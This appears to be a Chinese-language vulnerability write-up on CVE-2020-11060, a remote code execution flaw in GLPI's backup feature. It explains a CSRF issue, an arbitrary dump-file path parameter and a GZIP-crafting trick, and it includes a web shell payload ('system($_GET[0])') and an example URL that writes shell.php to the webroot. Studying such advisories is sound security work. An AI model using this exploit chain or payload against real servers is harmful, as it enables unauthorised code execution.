Playing with GZIP: RCE in GLPI (CVE-2020-11060)
字数 1390 2025-08-25 22:58:46

GLPI GZIP RCE漏洞分析 (CVE-2020-11060)

漏洞概述

GLPI(Gestionnaire Libre de Parc Informatique)是一个开源的IT资产管理、问题跟踪系统和服务台系统。在0.85到9.4.5版本中,存在一个通过备份功能实现的远程代码执行漏洞。

漏洞类型:远程代码执行(RCE)
影响版本:0.85(2014年发布)到9.4.5(包括9.4.5,2019年发布)的所有GLPI版本
漏洞发现者:dapiwang
披露时间:2020年6月2日

漏洞细节

1. CSRF漏洞

具有maintenance权限的GLPI用户可以通过菜单执行SQL/XML dumps,这些操作存在CSRF漏洞:

  • SQL备份:http://host/front/backup.php?dump=dump
  • XML备份:http://host/front/backup.php?xmlnow=xmlnow

默认情况下,dumps存储在GLPI_DUMP_DIR目录中(通常为http//host/files/_dumps/)。

2. 任意文件名参数

SQL备份接受fichier GET参数作为文件名:

if (!isset($_GET["fichier"])) {
   $fichier = $filename;
} else {
   $fichier = $_GET["fichier"];
}

这允许攻击者指定任意路径写入SQL dump文件。

3. 哈希路径泄露

GLPI的cookie名称基于应用程序路径的MD5哈希:

session_name("glpi_".md5(realpath(GLPI_ROOT)));

通过分析cookie名称可以推断出服务器上的实际路径。

漏洞利用链

利用条件

  1. 拥有Technician账户(默认用户tech,密码tech)
  2. 具有Maintenance权限(备份功能需要)

利用步骤

  1. 控制备份内容

    • 利用offsettable参数仅备份glpi_wifinetworks
    • 通过WiFi网络的备注字段注入恶意payload
  2. 构造恶意GZIP文件

    • 利用GZIP格式特性构造包含PHP代码的文件
    • 绕过GLPI的XSS过滤器(将<>编码为&lt;&gt;
  3. 写入Web目录

    • 通过fichier参数指定写入路径
    • 例如:http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/shell.php

GZIP文件构造技术

  1. 未压缩块利用

    • 构造一个包含PHP代码的未压缩块
    • 利用块头中的NLEN字段(补码)包含<字符
  2. 动态Huffman编码块

    • 在动态块中插入<?=/*打开PHP标签
    • 确保后续内容不会关闭注释
  3. 完整结构

    [gzip header]
    [动态块开始]
    [动态压缩数据部分1]
    <?=/*
    [动态压缩数据部分2]
    [动态块结束]
    [未压缩块开始]
    */system($_GET[0]);echo `ls`;/*
    [填充数据]
    [未压缩块结束]
    [gzip footer]
    

修复方案

GLPI 9.4.6版本中已删除备份功能作为修复措施。

时间线

  • 2020-04-27:漏洞报告
  • 2020-04-28:修复代码提交
  • 2020-05-05:GLPI 9.4.6发布
  • 2020-05-08:CVE-2020-11060分配
  • 2020-05-12:发布安全建议

参考资源

  1. Mark Adler's answers on StackOverflow
  2. Zip Files: History, Explanation and Implementation
  3. How gzip uses Huffman coding
  4. Understanding zlib
  5. Dissecting the GZIP format
GLPI GZIP RCE漏洞分析 (CVE-2020-11060) 漏洞概述 GLPI(Gestionnaire Libre de Parc Informatique)是一个开源的IT资产管理、问题跟踪系统和服务台系统。在0.85到9.4.5版本中,存在一个通过备份功能实现的远程代码执行漏洞。 漏洞类型 :远程代码执行(RCE) 影响版本 :0.85(2014年发布)到9.4.5(包括9.4.5,2019年发布)的所有GLPI版本 漏洞发现者 :dapiwang 披露时间 :2020年6月2日 漏洞细节 1. CSRF漏洞 具有maintenance权限的GLPI用户可以通过菜单执行SQL/XML dumps,这些操作存在CSRF漏洞: SQL备份: http://host/front/backup.php?dump=dump XML备份: http://host/front/backup.php?xmlnow=xmlnow 默认情况下,dumps存储在 GLPI_DUMP_DIR 目录中(通常为 http//host/files/_dumps/ )。 2. 任意文件名参数 SQL备份接受 fichier GET参数作为文件名: 这允许攻击者指定任意路径写入SQL dump文件。 3. 哈希路径泄露 GLPI的cookie名称基于应用程序路径的MD5哈希: 通过分析cookie名称可以推断出服务器上的实际路径。 漏洞利用链 利用条件 拥有Technician账户(默认用户tech,密码tech) 具有Maintenance权限(备份功能需要) 利用步骤 控制备份内容 : 利用 offsettable 参数仅备份 glpi_wifinetworks 表 通过WiFi网络的备注字段注入恶意payload 构造恶意GZIP文件 : 利用GZIP格式特性构造包含PHP代码的文件 绕过GLPI的XSS过滤器(将 < 和 > 编码为 &lt; 和 &gt; ) 写入Web目录 : 通过 fichier 参数指定写入路径 例如: http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/shell.php GZIP文件构造技术 未压缩块利用 : 构造一个包含PHP代码的未压缩块 利用块头中的NLEN字段(补码)包含 < 字符 动态Huffman编码块 : 在动态块中插入 <?=/* 打开PHP标签 确保后续内容不会关闭注释 完整结构 : 修复方案 GLPI 9.4.6版本中已删除备份功能作为修复措施。 时间线 2020-04-27:漏洞报告 2020-04-28:修复代码提交 2020-05-05:GLPI 9.4.6发布 2020-05-08:CVE-2020-11060分配 2020-05-12:发布安全建议 参考资源 Mark Adler's answers on StackOverflow Zip Files: History, Explanation and Implementation How gzip uses Huffman coding Understanding zlib Dissecting the GZIP format